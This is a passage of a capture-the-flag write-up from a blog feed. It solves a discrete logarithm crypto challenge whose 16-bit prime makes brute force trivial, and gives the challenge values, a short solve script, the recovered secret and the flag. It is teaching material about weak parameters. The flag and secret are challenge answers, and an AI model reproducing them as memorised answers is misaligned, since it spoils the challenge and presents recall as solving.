<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">p</span> <span class="o">=</span> <span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">g</span> <span class="o">=</span> <span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">y</span> <span class="o">=</span> <span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Secrets.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> <span class="n">sUp3r_s3cr3t_value</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># fake_secret_value
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>output.txt</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">p</span> <span class="o">=</span> <span class="mi">49211</span>
<span class="n">g</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">y</span> <span class="o">=</span> <span class="mi">16752</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>In order to get the flag, we need to recover the secret value x and hash it using SHA256.</p>

<p>By analyzing the source code, we observe that the prime p is generated using:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This produces a 16-bit prime number, which is extremely small for cryptographic purposes. A secure implementation would use primes of at least 2048 bits.
Because of this weakness, the discrete logarithm problem becomes trivial to solve using brute force.</p>

<h2 id="exploitation">Exploitation</h2>

<p>We can simply try every possible value of <code class="language-plaintext highlighter-rouge">x</code> until <code class="language-plaintext highlighter-rouge">2^x mod 49211 = 16752</code> matches.</p>

<p>The solve script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span> <span class="k">as</span> <span class="n">b2l</span>

<span class="c1"># Output.txt values
</span><span class="n">p</span> <span class="o">=</span> <span class="mi">49211</span>
<span class="n">g</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">y</span> <span class="o">=</span> <span class="mi">16752</span>

<span class="c1"># Burte forcing the x value
</span><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">p</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="n">y</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Found secret: </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">break</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Running it we get the x value:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>python exploit.py
Found secret: 44917
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">OSC{08eab99d92e1552eead8da191e5da60e7e6979fbc3cd82eef1f8aef70bd57979}</code></p>]]></content><author><name>Y_isDown</name></author><category term="Crypto" /><category term="crypto" /><category term="brute-force" /><summary type="html"><![CDATA[A simple discrete logarithm challenge with a weak 16-bit prime]]></summary></entry></feed>